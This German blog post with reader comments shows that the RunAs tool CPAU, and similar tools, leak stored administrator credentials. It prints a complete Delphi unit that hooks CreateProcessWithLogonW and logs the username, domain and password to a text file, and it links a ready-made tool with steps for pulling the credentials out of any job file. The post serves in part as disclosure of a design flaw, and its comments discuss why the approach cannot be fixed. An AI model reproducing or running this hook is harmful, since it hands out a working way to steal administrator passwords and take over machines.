[Update] CPAU die Logindaten unter dem Arsch weg klauen

Ich finde es ja immer wieder interessant, wenn Hannes Schurig (@SchurigH) erklärt, wie ihm das Tool CPAU hilft, seine Administratorenaufgaben zu erledigen :-) .

Besonders spannend finde ich es, wenn er erklärt, wie es damit möglich ist, dem einfachen Nutzer Administratorenrechte zu geben, um eine Anwendung auszuführen, ohne, dass der Nutzer die eigentlichen Logindaten erfährt. Möglich ist das bei dem Programm dadurch, dass man sogenannte Job-Dateien erstellt, in denen der auszuführende Befehl inklusive der Accountdaten des Administrators verschlüsselt abgelegt wird.
Letztens hat Hannes damit sogar ein Script gebaut, mit dem von einem Netzlaufwerk aus Programminstallationen ausgeführt werden können - natürlich wieder geschützt durch die Job-Dateien von CPAU.

Mich hat vor allem die sichere Verwahrung der Accountdaten fasziniert, denn wenn man sich das Tool genauer ansieht, erkennt man, dass für die Verschlüsselung der Job-Dateien garkein Passwort angegeben werden muss. Ich dachte mir "es müsste doch möglich sein, diese Job-Dateien auch wieder zu entschlüsseln" - aber um ehrlich zu sein, war ich heute irgendwie viel zu faul dafür. ;-)
Denn bei einem kleinen Test fiel mir auf, wie CPAU die auszuführenden Programme startet: das Zauberwort heißt CreateProcessWithLogonW. Dass diese Erkenntnis korrekt war, konnte ich dann sogar noch einmal im Blog des Erfinders von CPAU nachlesen.

Um nun an die Logindaten in so einer Job-Datei zu kommen, ist nun garnicht mehr so viel unbekanntes Wissen nötig. Das meiste, was man dazu braucht, habe ich schonmal in meinem Artikel über die uallCollection erwähnt. Wenn man sich die Beschreibung der Funktion CreateProcessWithLogonW in der MSDN-Bibliothek angeguckt hat, hat man gesehen, dass dort auch die Werte Username, Domain und Password mitgegeben werden müssen - beim Hooken dieser API-Funktion kann man diese Informationen also alle auf einen Schlag abgreifen...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
unit CPAU;

interface

procedure HookCPAU(const ATargetPath : String);
procedure UnhookCPAU;

implementation

uses
  Windows,
  uallHook,
  SysUtils,
  DateUtils,
  ConstU;

type
  LPBYTE = PBYTE;

  TStartupInfoW = record
    cb              : DWORD;
    lpReserved      : LPWSTR;
    lpDesktop       : LPWSTR;
    lpTitle         : LPWSTR;
    dwX             : DWORD;
    dwY             : DWORD;
    dwXSize         : DWORD;
    dwYSize         : DWORD;
    dwXCountChars   : DWORD;
    dwYCountChars   : DWORD;
    dwFillAttribute : DWORD;
    dwFlags         : DWORD;
    wShowWindow     : WORD;
    cbReserved2     : WORD;
    lpReserved2     : LPBYTE;
    hStdInput       : THANDLE;
    hStdOutput      : THANDLE;
    hStdError       : THANDLE;
  end;
  PStartupInfoW = ^TStartupInfoW;

var
  VCPAULib    : HModule = 0;
  VTargetPath : String  = '';

  VNewCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  VOldCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;

function CatchCreateProcessWithLogonW(lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                      lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                      lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                      lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  function FillZero(const AValue : Word; const ALength : Byte) : String;
  begin
    Result := IntToStr(AValue);
    while (Length(Result) < ALength) do
      Result := '0' + Result;
  end;
var
  LDay       : Word;
  LFile      : TextFile;
  LHour      : Word;
  LMinute    : Word;
  LMonth     : Word;
  LMSecond   : Word;
  LSecond    : Word;
  LTimeValue : String;
  LYear      : Word;
begin
  Result := VNewCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags,
                                        lpApplicationName, lpCommandLine, dwCreationFlags,
                                        lpEnvironment, lpCurrentDirectory, lpStartupInfo,
                                        lpProcessInfo);

  DecodeDateTime(Now, LYear, LMonth, LDay, LHour, LMinute, LSecond, LMSecond);
  LTimeValue := FillZero(LYear, 4) + FillZero(LMonth, 2) + FillZero(LDay, 2) + '_' +
                FillZero(LHour, 2) + FillZero(LMinute, 2) + FillZero(LSecond, 2) + FillZero(LMSecond, 2);

  AssignFile(LFile, VTargetPath + LTimeValue + '.log');
  Rewrite(LFile);
  try
    WriteLn(LFile, 'Username   : ', String(lpUsername));
    WriteLn(LFile, 'Domain     : ', String(lpDomain));
    WriteLn(LFile, 'Password   : ', String(lpPassword));
    WriteLn(LFile, 'Application: ', String(lpApplicationName));
    WriteLn(LFile, 'CommandLine: ', String(lpCommandLine));
    WriteLn(LFile, 'CurrentDir : ', String(lpCurrentDirectory));
    WriteLn(LFile, 'Success    : ', Result);
  finally
    CloseFile(LFile);
  end;
end;

procedure HookCPAU(const ATargetPath : String);
begin
  VCPAULib := GetModuleHandle(ADVAPI32);
  if (VCPAULib <> 0) then
  begin
    VTargetPath := ATargetPath;

    @VOldCreateProcessWithLogonW := GetProcAddress(VCPAULib, 'CreateProcessWithLogonW');
    HookCode(@VOldCreateProcessWithLogonW, @CatchCreateProcessWithLogonW, @VNewCreateProcessWithLogonW);
  end;
end;

procedure UnhookCPAU;
begin
  if (VCPAULib <> 0) then
  begin
    VCPAULib := 0;

    UnhookCode(@VNewCreateProcessWithLogonW);
  end;
end;

end.

In meiner kleinen Testanwendung speichere ich die interessanten Informationen einfach jeweils in einer separaten Textdatei ab. Um nun an die Daten in so einer Job-Datei zu kommen, muss man einfach nur meine Testanwendung konfigurieren, diese starten und dann mit CPAU versuchen, die Job-Datei auszuführen, aus der man gerne die Accountdaten wissen möchte...

[download id="34"]

Lustig finde ich in diesem Zusammenhang, dass das Tool Steel RunAs genau das gleiche Problem hat wie CPAU - mit dem gleichen Trick lassen sich auch dessen Credentials klauen. Besonders lustig ist das deshalb, da diese u.a. hiermit für ihre sichere Aufbewahrung der Logindaten werben: "Strong encryption standards keep the embeded credentials safe and secure. Multiple loop RC4 encryption with Pseudo Random Seed is used for encrypting the credentials."

An diesem Beispiel sieht man mal wieder sehr schön, dass die Verschlüsselung nicht zwangsläufig das schwächste Glied der Kette sein muss. ;-)

Update:
Da wahrscheinlich so ziemlich jedes RunAs-Programm auf dem Markt dieses Problem haben wird, dachte ich mir, ich stelle hier mal eine kleine Liste mit den Programmen zusammen, die u.a. die Verteilung von sicheren RunAs-Dateien versprechen:

Sollte noch jemand weitere RunAs-Programme kennen, mit denen soetwas möglich ist, würde ich mich freuen, wenn ihr den Namen des Tools in den Kommentaren hinterlassen würdet. :-)

Update:
Wie ich mitbekommen habe, lassen sich mit 7-Zip keine Archive öffnen, solange der Hook aktiviert ist. Immer wieder lustig, was unter Windows alles für Nebenwirkungen geben kann :D .
Sollte übrigens jemand so unvorsichtig gewesen sein und das Fenster von CPAULD geschlossen haben, bevor er darin ENTER gedrückt hat, der muss einfach nur sein Windows neustarten, um den Hook wieder zu deaktivieren.

Zum Schluss noch etwas Rechtliches:
Der Autor dieses Programms haftet nicht für Schäden an Soft- oder Hardware oder Vermögensschäden, die durch das Benutzen des Programms entstehen, es sei denn, diese beruhen auf einem grob fahrlässigen oder vorsätzlichen Handeln des Autors, seiner Erfüllungsgehilfen oder seiner gesetzlichen Vertreter.

Administrative Grüße, Kenny

12 Kommentare » Schreibe einen Kommentar

  1. Eine Empfehlung bezüglich der offenen Handle / Hooks auf Dateien & Ordner:

    Unlocker, ein freies kleines Tool das diese "lösen" kann!
    Es schlägt Windows "quasi" die Tasse aus der Hand! ;)

    Unlocker

    Dann bleibt einem der Neustart erspart!
    Alternativen werden dort auch vorgestellt ;)
    Und derzeit (27.03.2014) ist die Website wieder online!

  2. Pingback: Drucker anhand der IP löschen mit vbs Script | Hardware | IMA - Informationen Mal Anders

  3. Pingback: Kostenloses RunAs Tool: CPAU – als Administrator starten | IT | IMA - Informationen Mal Anders

  4. Pingback: Drucker per Kommandozeile (CMD) verwalten - rundll32.exe printui.dll | IT | IMA - Informationen Mal Anders

  5. Kannst du für solche API-Hooks oder generell WinAPI-Programmierung mit Delphi Bücher oder Internetseiten empfehlen? THX.

    • Wenn ich ehrlich sein soll: Nein, leider nicht. Das Hooking selber ist IMHO ziemlich straigh-forward. Wenn dich die Technik interessiert, kannst du dir ja mal den ausführlichen CodeProject-Artikel zu dem Thema durchlesen und dir den Quelltext der uallCollection ansehen. Und für die WinAPI-Programmierung braucht man eigentlich primär nur die MSDN-Library von Microsoft. Wird man dort nicht fündig, gibt es zu fast jeder Funktion eine Auswahl an C- oder Delphi-Beispielen, die sich via Google finden lassen.

    • Es gibt dafür keinen ordentlichen Lösungsansatz, da es sich hierbei um ein prinzipbedingtes Problem handelt. Die Devise heißt also: Entweder, der Benutzer darf Adminrechte haben, oder aber der Nutzer darf nur Programme nutzen, die keine Adminrechte voraussetzen.

      Ich hatte vorhin noch eine andere Möglichkeit im Kopf, weiß aber persönlich nicht, in wieweit das ganze realisierbar ist. Früher zu "Partition Magic"-Zeiten wurde teilweise die Windows Preboot Environment verwendet, wenn eine Platte partitioniert werden musste. Auch "Avast!" verwendet die Preboot Environment, um abgeschottet Virenscans (Preboot Scans) laufen zu lassen.
      Hier würde sich eventuell eine Möglichkeit ergeben, Programme in das dahinter liegende Windows zu installieren, ohne sich mit einem API-Hook einklinken zu können. Diese Lösung ließe sich dann allerdings nicht auf generelle RunAs-Aufgaben ausweiten.

  6. Wenn ich nicht auf der Leitung stehen, kann das im Prinzip bei keinem dieser Tools gar nicht anders funktionieren. Irgendwie muss man ja die Credentials für das WinAPI als Plain Text regenerieren, und das war's dann wohl.

    • Hallo Robert, nunja, im ersten Schritt bleiben die Programme verschont, die die Funktion LogonUser() oder LogonUserEx() verwenden und sich dann auf CreateProcessAsUser() abstützen. Das aber auch nur deshalb, weil ich die ersten beiden Methoden (LogonUser und LogonUserEx) nicht abfange. Da bei diesen ebenfalls die Credentials mitgeliefert werden, ist es schlussendlich das gleiche Spiel. Um es kurz zu machen: Das gesamte Konzept, die Logindaten für's RunAs mitzugeben, ist fehlerhaft - da hilft es auch nichts, die Credentials mit x Runden des Verschlüsselungsalgorithmus y zu drangsalieren.

Hinterlasse eine Antwort

Pflichtfelder sind mit * markiert.


Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>